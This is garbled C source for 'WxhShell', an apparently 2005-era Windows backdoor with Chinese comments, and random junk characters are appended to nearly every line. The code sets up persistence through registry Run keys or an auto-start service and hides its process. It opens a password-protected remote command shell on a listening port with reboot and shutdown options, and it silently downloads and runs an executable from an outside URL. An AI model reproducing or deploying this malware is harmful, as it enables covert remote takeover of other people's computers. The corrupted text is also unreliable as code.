DWORD BasePriority; rv7{Ow_Y
ULONG UniqueProcessId; z|N3G E(.@
ULONG InheritedFromUniqueProcessId; 3BQ!qO17^d
} PROCESS_BASIC_INFORMATION; Q5a)}6-5
yI3kvh
PROCNTQSIP NtQueryInformationProcess; BRv x[u
T
.n4TmF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1^G{tlA-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ynwG\V
rs;r
$
HANDLE hProcess; P_Hv%g
PROCESS_BASIC_INFORMATION pbi; ig!7BxM)<h
)r tomp:X
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o:p
*_>&
if(NULL == hInst ) return 0; szmmu*F,U:
dl~|Izm
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); se9>.}zZN
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j
!H^-d}q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S\#1 7.=
bC6oqF'#
if (!NtQueryInformationProcess) return 0; 9`B$V##-L
T+IF}4ed
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /)L
0`:I#
if(!hProcess) return 0; rcN 9.1
(u1m]WYL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~nY]o"8D
}q[Bd
CloseHandle(hProcess); >BVoHt~;
e' 9r"<>i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }}
ZY
if(hProcess==NULL) return 0; L{fFC%|l2L
Hi}RZMr1
HMODULE hMod; $E!J:Y=
char procName[255]; j\&pej
unsigned long cbNeeded; # Su~`]
v&
$k9)]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [wnDHy6W
,5Vt]#F5@
CloseHandle(hProcess); jp2Q9Z
r'7LR
if(strstr(procName,"services")) return 1; // 以服务启动 S<wj*"|.s
PoSpkJH
return 0; // 注册表启动 a;AzY'R
} >QkP7Kb
8V/L:h#7
// 主模块 ~+6Vdxm
int StartWxhshell(LPSTR lpCmdLine) *%5{'
{ 2f~($}+*
SOCKET wsl; %;xOB^H^
BOOL val=TRUE; ~@W*r5/
int port=0; p{$p
$/A
struct sockaddr_in door; F>hZ{
0Q5^C!K
if(wscfg.ws_autoins) Install(); !ZXUPH
u9qMqeF
port=atoi(lpCmdLine); eD?3"!c!
4,p;Km&
if(port<=0) port=wscfg.ws_port; *#
{z 3{+
R:aa+MX(1
WSADATA data; V^s0fWa
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Di.3113t
Xd
`vDgD
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WYcA8X/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5e8AmY8;
door.sin_family = AF_INET; }2 8=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,E )|y4
door.sin_port = htons(port); 0MF}^"R
[^YA=Khu
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eGL1
closesocket(wsl); {-/^QX]6
return 1; AnBJ(h
} NQHz<3S[
8jlLUG:g
if(listen(wsl,2) == INVALID_SOCKET) { yY).mxRN
closesocket(wsl); ;E^K.6
return 1; ZJW[?V\5=
} >/$Fh:R-
Wxhshell(wsl); @@G6p($
WSACleanup(); -e GL) M
W!Gdf^Yy<
return 0; (.Y/
rh*sbZ68>E
} y[};J
vk
K>:]Bx#F7
// 以NT服务方式启动 k;W@LfP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OHrY(I6
{ x3+oAb@o/
DWORD status = 0; I?#85l{>
DWORD specificError = 0xfffffff; 9p* gU[
HvwYm.$zE
serviceStatus.dwServiceType = SERVICE_WIN32; `mfq
2bVc
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /UcV
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uP $Cj
serviceStatus.dwWin32ExitCode = 0; zw<p74DH
serviceStatus.dwServiceSpecificExitCode = 0; . 5y"38e
serviceStatus.dwCheckPoint = 0; ZzGahtx)Y
serviceStatus.dwWaitHint = 0; ym,H@~
iRo.RU8>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9# 4Y1L S)
if (hServiceStatusHandle==0) return; #FOqP!p.E
Cs3^9m6;d
status = GetLastError(); y;cUl, :v
if (status!=NO_ERROR) zdl%iop3e
{ 7R.Q
Ql
serviceStatus.dwCurrentState = SERVICE_STOPPED; EI~"L$?
serviceStatus.dwCheckPoint = 0; .jw}JJ
serviceStatus.dwWaitHint = 0; {]*x*aa\
serviceStatus.dwWin32ExitCode = status; rHge~nY<
serviceStatus.dwServiceSpecificExitCode = specificError; J@pb[O L,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( lm&*tKm
return; sb_oD{+gW
} _Q%vK*n
^g1f X1
serviceStatus.dwCurrentState = SERVICE_RUNNING; S{]7C?4`
serviceStatus.dwCheckPoint = 0; 0-Y:v(|.
serviceStatus.dwWaitHint = 0; +yob)%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %sBAl.!BN
} &.13dq
s'aip5P
// 处理NT服务事件,比如:启动、停止 wFh8?Z3u_
VOID WINAPI NTServiceHandler(DWORD fdwControl) }T^cEfX
{ =;a!u
switch(fdwControl) Di_2Plo)4
{ 7tM9u5FF
case SERVICE_CONTROL_STOP: sZWaV4
serviceStatus.dwWin32ExitCode = 0; =WdaxjenZ/
serviceStatus.dwCurrentState = SERVICE_STOPPED; -{XRA6
serviceStatus.dwCheckPoint = 0; O`GsS{$sS
serviceStatus.dwWaitHint = 0;
l- pe4x
{ s&kQlQ=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >>b3ZE|5
} ,C.:;Ime({
return; D-Vai#Cd
case SERVICE_CONTROL_PAUSE: AE`We$!
serviceStatus.dwCurrentState = SERVICE_PAUSED; X[s8X!#
break; =h6
sPJ
case SERVICE_CONTROL_CONTINUE: b !@Sn/
serviceStatus.dwCurrentState = SERVICE_RUNNING; Pz#7h*;cw.
break; qSqI7ptA\
case SERVICE_CONTROL_INTERROGATE: keW~ NM
break; PP~rn fE
}; 0_P}z3(M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); anw}w!@U
} #PDf,^
Ab%;Z5$fr
// 标准应用程序主函数 @RFs/'
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qp"y?S
{ v[@c*wo
a {}|Bf<
// 获取操作系统版本 /yz=Cj oz
OsIsNt=GetOsVer(); UtB6V)YI
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rgo rkZlVM
l\AMl
\
// 从命令行安装 _I`,Br:N
if(strpbrk(lpCmdLine,"iI")) Install(); heaR X4
U-k+9f 0
// 下载执行文件 aSuM2
if(wscfg.ws_downexe) { ,:fl?x.X
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $&s=68
WinExec(wscfg.ws_filenam,SW_HIDE); Om'+]BBN
} 93+"D`
g*)K/Z0pJ$
if(!OsIsNt) { u~
~R9.
// 如果时win9x,隐藏进程并且设置为注册表启动 C3hv*
HideProc(); )VCzn~uf
StartWxhshell(lpCmdLine); IEjP<pLe
} x83
!C}4:
else Nw& !}#m
if(StartFromService()) hmx=
35
// 以服务方式启动 9][(Iu]h7
StartServiceCtrlDispatcher(DispatchTable); qm Tb-~
else '\~$dtI$
// 普通方式启动 F/m^?{==~*
StartWxhshell(lpCmdLine); -LDCBc"
*#%9Rp2|
return 0; PkE5|d*,
} I)q,kP@yY
_LAS~x7,
HkV1sT
IX: 25CEI2
=========================================== w{~+EolK
ms($9 Lv/
nzjkX4KV
O%1v)AT&\
^JI o?R
i,V;xB2
" nJRS.xs
^l^fD t
#include <stdio.h> J$4wL
F3
#include <string.h> H/M Au7
#include <windows.h>
{7!UQrm<
#include <winsock2.h> )eUW5
tS
#include <winsvc.h> Zh5RwQNE~
#include <urlmon.h> p~ C.IG
`c/*H29
#pragma comment (lib, "Ws2_32.lib") Y+4o B
#pragma comment (lib, "urlmon.lib") 8ul&x~2;X
8<mjh0F-,
#define MAX_USER 100 // 最大客户端连接数 sS&Z ,A
#define BUF_SOCK 200 // sock buffer e*(b
#define KEY_BUFF 255 // 输入 buffer \;VhYvEH
ve
~05mg
#define REBOOT 0 // 重启 M3p
#define SHUTDOWN 1 // 关机 hS[yNwD
t1VH doNN
#define DEF_PORT 5000 // 监听端口 J};z85B
2<&Bw2
#define REG_LEN 16 // 注册表键长度 -p-B2?)A
#define SVC_LEN 80 // NT服务名长度 `X,yM-(
rC:?l(8ng3
// 从dll定义API #`GY}-hL!
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S$f6a'
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <<D$+@wxm
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =n^!VXaL]]
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c4_`Ew^k
TF2>4 p
// wxhshell配置信息 kc7lc|'z
struct WSCFG { mzQ`N}]T:
int ws_port; // 监听端口 @
S <-d
char ws_passstr[REG_LEN]; // 口令 8 #ndFpu
int ws_autoins; // 安装标记, 1=yes 0=no LPG`^SA
char ws_regname[REG_LEN]; // 注册表键名 %{3
aW>yx
char ws_svcname[REG_LEN]; // 服务名 awvDe
char ws_svcdisp[SVC_LEN]; // 服务显示名 nR4y`oP+
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ca%g_B0t
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }SI GPVM
int ws_downexe; // 下载执行标记, 1=yes 0=no oG$)UTzGc
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LlBN-9p
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0-LpqX
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}; =%zLh<3v
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2K
// default Wxhshell configuration yq+!czlZ
struct WSCFG wscfg={DEF_PORT, Z/^ u
"xuhuanlingzhe", &a/__c/l
1, [D5t{[i
"Wxhshell",
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"Wxhshell", <foCb%$(?
"WxhShell Service", %>g W9}kB
"Wrsky Windows CmdShell Service", #W.vX?-'0
"Please Input Your Password: ", y=Mq(c:'UN
1, b':|uu*/
"http://www.wrsky.com/wxhshell.exe", }F+zs*S
"Wxhshell.exe" $3Z-)m
}; P}.7Mehf
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// 消息定义模块 H
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char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nhG
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char *msg_ws_prompt="\n\r? for help\n\r#>"; "O8gJ0e
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IVlf=k
char *msg_ws_ext="\n\rExit."; )
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char *msg_ws_end="\n\rQuit."; [~:-&
char *msg_ws_boot="\n\rReboot..."; SWp1|.=Sm
char *msg_ws_poff="\n\rShutdown..."; =)O,`.M.Y
char *msg_ws_down="\n\rSave to "; ogFKUD*h&>
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char *msg_ws_err="\n\rErr!"; z} '! eCl
char *msg_ws_ok="\n\rOK!"; *m%]zj0bo
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char ExeFile[MAX_PATH]; FgL,k
int nUser = 0; [ofqGwpDG
HANDLE handles[MAX_USER]; nW"q
int OsIsNt; y*{Zbz#{
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SERVICE_STATUS serviceStatus; [i0Hm)Bd3
SERVICE_STATUS_HANDLE hServiceStatusHandle; s4_/&h
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// 函数声明 3]-_q"Co4f
int Install(void); `nUO l
int Uninstall(void); rbT)=-(
int DownloadFile(char *sURL, SOCKET wsh); p;?*}xa
int Boot(int flag); S4witIK5
void HideProc(void); jlFk@:y4
int GetOsVer(void); VF&Z%O3n
int Wxhshell(SOCKET wsl); ]pEV}@7
void TalkWithClient(void *cs); ^\B:R,
int CmdShell(SOCKET sock); a?yMHb{F
int StartFromService(void); yT{8d.Rh
int StartWxhshell(LPSTR lpCmdLine); 2iu_pjj
]nhr+;of/-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b;|55Y
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KYJjwXT28W
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// 数据结构和表定义 lyCW=nc
SERVICE_TABLE_ENTRY DispatchTable[] = y/V%&.$o=
{ GRy-+#,b"
{wscfg.ws_svcname, NTServiceMain}, =66Nw(E.
{NULL, NULL} {{C`mgC
}; ::n;VY2&
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// 自我安装 bslrqUk_`=
int Install(void) Y2o6kS{x
{ )Qm[[p nj
char svExeFile[MAX_PATH]; "uLjIIl
HKEY key; +!f=jg06
strcpy(svExeFile,ExeFile); ( 6(x'ByT
E1;@=#t2i
// 如果是win9x系统,修改注册表设为自启动 %LXM+<N8
if(!OsIsNt) {
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if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (wc03,K^
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +l^LlqA
RegCloseKey(key);
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if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >h Y"
3
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }AZc8o-
RegCloseKey(key); 6io , uh!
return 0; UZ8?[
} -st7_3
} U $Qv>7
} Hn,:`mj4-6
else { K.gEj*@
@?C#r.vgp
// 如果是NT以上系统,安装为系统服务 n6F/Ac:
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,mPnQ?
if (schSCManager!=0) a:~@CUD
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{ "i:T+#i({O
SC_HANDLE schService = CreateService E2GGEKrW
( 4Ij-Ilg)%
schSCManager, JcJmds
wscfg.ws_svcname, ~_9"3,~o5
wscfg.ws_svcdisp, 0=w K:Ex
SERVICE_ALL_ACCESS, ]0D}T'wM
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3p?KU-
SERVICE_AUTO_START, >-E<